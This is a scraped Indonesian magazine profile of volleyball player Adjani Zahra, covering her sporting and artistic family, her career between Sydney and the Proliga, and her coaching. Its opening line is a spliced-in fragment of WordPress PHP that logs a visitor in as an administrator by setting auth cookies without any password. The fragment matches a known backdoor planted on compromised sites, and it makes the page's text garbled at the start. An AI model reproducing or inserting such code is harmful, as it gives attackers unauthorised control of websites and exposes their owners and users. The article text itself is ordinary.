user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Profile
Adjani Zahra, Energi yang Tumbuh dari Paduan Olahraga dan Seni

30 Apr 2026

Voli bikin Adjani Zahra jatuh cinta dan ingin serius menekuninya. Kemeja, celana, belt: Dibba untuk Cita Tenun Indonesia Luaran: Elima Cincin + bros: Subeng Klasik Foto: Ricko Sandy (akreditasi lengkap foto di akhir artikel)


Sampul digital Femina terbaru dihiasi sosok yang jadi sorotan di dunia olahraga voli Indonesia, Adjani Zahra.

Namun perjalanan Adjani menuju dunia olahraga tidak selalu dimulai dari mimpi masa kecil, begitu pula jadi atlet voli. 

Bagi Adjani, voli justru datang sebagai perkenalan yang sederhana, lalu perlahan menjelma menjadi panggilan hidup. Dari ruang kelas hingga kompetisi internasional, langkahnya membuktikan bahwa passion bisa ditemukan di tengah perjalanan, bukan hanya direncanakan sejak awal.

Olahraga setelah seni

Darah olahraga memang mengalir di tubuh Adjani, cucu dari mantan petenis nasional yang juga tokoh terpandang di olahraga tenis Indonesia, Martina Widjaja.

Sejak kecil, Adjani, dan juga abang dan adiknya, dibiasakan dekat dengan olahraga, meski tak diarahkan jadi atlet. 

Di sisi lain, sebagai anak Paquita Widjaja, aktris dan penyanyi, darah seni pun mengalir deras dalam diri perempuan 23 tahun yang suka memasak ini.

Meski bertahun-tahun belajar piano klasik dan balet, pernah main teater, bahkan Adjani juga lulus kuliah di bidang perfilman, Adjani memilih kerasnya persaingan olahraga profesional sebagai atlet voli.

Ia sudah mencoba tenis, renang, lari, basket, hingga softball. Namun akhirnya Adjani menemukan chemistry tersendiri saat melompat tinggi bermain voli.

Antara Indonesia dan Australia

Perjalanan Adjani menemukan voli dimulai dari kelas 2 SMA, sempat vakum karena pandemi, namun takdir berkata lain saat ia kuliah di Sydney. 

Tawaran mengisi posisi middle blocker untuk Uni Games membuatnya kembali ke lapangan. “Pas ketemu bola voli lagi itu, semuanya langsung balik. Rasanya aku pengn main olahraga ini. Pokoknya cinta banget sama olahraga ini,” cerita Adjani penuh semangat. 

Adjani Zahra belajar balet selama 12 tahun dan mencoba bermacam cabor sebelum memilih voli. Busana: Wilsen Willim Bros: Subeng Klasik (kiri); Dress: Elima Bros: Subeng Klasik Foto: Ricko Sandy (akreditasi lengkap foto di akhir artikel)
 
Dari sanalah kariernya melesat–masuk klub Phoenix dari kelas junior hingga utama, lalu bergabung dalam Sydney Uni Volleyball Club, hingga bermain untuk Yogya Falcons di Proliga 2026 Indonesia. Ia juga mengasah kemampuannya sebagai pelatih dengan berbagai kursus. 

Menjalani karier sebagai atlet voli di dua negara membawa tantangan tersendiri. Adjani mengakui perbedaan latihan di Australia dan Indonesia sangat signifikan. 

“Beda banget. Di Australia, kan, nggak ada liga profesional, adanya cuma Superliga. Latihannya pun jauh lebih keras di Indonesia. Menurut aku, Indonesia lebih bagus daripada Australia untuk voli putri,” ujarnya. 

Sebagai middle blocker, ia mengaku terpuaskan saat berhasil memblok serangan lawan. “Rasanya nge-block orang mukul bola itu jauh lebih seru,” ungkap Adjani, yang ingin bisa sebanyak mungkin melakukan blok, dan kagum pada prestasi pemain junior yang dalam satu game bisa dapat 8 blok.

Melatih dan bertanding

Setelah pertandingan Proliga 2026 di Indonesia usai, Adjani kembali ke Sydney. Hari-hari Adjani diisi dengan berlatih voli sejak pukul 5 pagi, setelah makan siang pergi kerja, dan sehabis makan malam kembali berlatih voli.

Selain jadi atlet, ia adalah pelatih voli dan fisik di sebuah sekolah swasta khusus laki-laki di Sydney. “Aku satu-satunya pelatih perempuan di sana,” kata Adjani, bangga. Melatih remaja jadi tantangan yang menyenangkan bagi Adjani. 

Makanan Indonesia jadi favorit Adjani, yang senang membuat kue. Jaket + topi: Dibba untuk Cita Tenun Indonesia Rok: Elima Kalung: Subeng Klasik (kiri); Busana: Wilsen Willim Bros (sebagai jepit rambut): Subeng Klasik Foto: Ricko Sandy (akreditasi lengkap foto di akhir artikel)

“Anak-anak di sana potensinya gede banget karena mereka tinggi-tinggi. Tapi masalah terbesarnya kekurangan pelatih. Aku harap aku bisa ikut membangkitkan voli di sana,” ujar Adjani, yang juga berharap suatu hari nanti bisa bermain di klub luar negeri profesional.

Saling dukung

Adjani mengaku energinya tak pernah padam. “Aku orangnya nggak bisa diam. Kalau lagi berdiri aja, lagi nunggu dari poin satu ke poin selanjutnya, kalau dilihat, aku lagi goyang-goyang,” ceritanya. 

Karakter inilah yang membuatnya begitu lincah di lapangan sebagai middle blocker. Namun ia juga sadar bahwa voli adalah olahraga tim yang membutuhkan chemistry. “Kita butuh ngertiin satu sama lain banget. Bukan olahraga yang bisa main sendiri,” katanya.
Advertisement

Karena itu, saat harus menonton dari pinggir lapangan alias jadi pemain cadangan pun bukan hal memalukan bagi Adjani.

“Dukungan dari bangku cadangan itu penting banget menurut aku. Kalau dengar bangku cadangan ngedukung dari samping, itu enak banget buat yang lagi main,” jelasnya. 

Hal ini sesuai dengan filosofi hidupnya yang simpel–di mana pun posisinya saat pertandingan, carilah keuntungan untuk tim. “Kalau misalnya aku nggak dimasukin, satu-satunya hal yang bisa aku lakuin sebagai anggota tim ya mendukung mereka.”

Suasana pemotretan cover Adjani Zahra. Foto: Dok. Femina

Dedikasi Adjani untuk olahraga ini juga didukung seluruh keluarga.

Dari sang oma, Adjani mendapat nasihat berharga. “Oma selalu bilang, yang penting kamu harus yakin karena hidup atlet, tuh, nggak gampang. Sering banget nggak di rumah, jauh dari semuanya,” kata Adjani, yang merasa jauh dari timnya juga sebuah tantangan tersendiri.

Sementara pesan dari ibunya juga tak pernah ia lupakan–sederhana tapi dalam, “Apa pun yang kamu lakukan, lakukan dengan 100 persen, hingga bisa jadi yang terbaik.” (f)

Terima kasih untuk kolaborasi sampul digital ini:
Fotografer: Ricko Sandy - The A Team
Stylist: Rajasa Pramesywara
Busana foto utama: Dibba untuk Cita Tenun Indonesia, Elima
Busana foto pendukung: Elima, Dibba untuk Cita Tenun Indonesia, Wilsen Willim
Busana foto thumbnail: Dibba untuk Cita Tenun Indonesia, Elima, Wilsen Willim
Aksesori: Subeng Klasik
Makeup: Ranggi Achmad
Hairdo: Nilam Maurisa - Ranggi Pratiwi Team
Asisten fotografer: Rivo Rimawan


Desain grafis: Papermint Studio, Yosef Sulistiantoro
Produser & logistik: Zornia Harisantoso, Ratnasanti Sulistiorini

Baca juga:
Ayesha Felice Nayyara Zain: Berani Memulai dengan Langkah Kecil
Alfath Alima Hakim: Perempuan Merdeka Punya Pilihan
Nawasi Laisha Ramadhania: Mengasah Empati dengan Membaca

 

Laili Damayanti


Topic

#VoliIndonesia, #WomenInSports

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?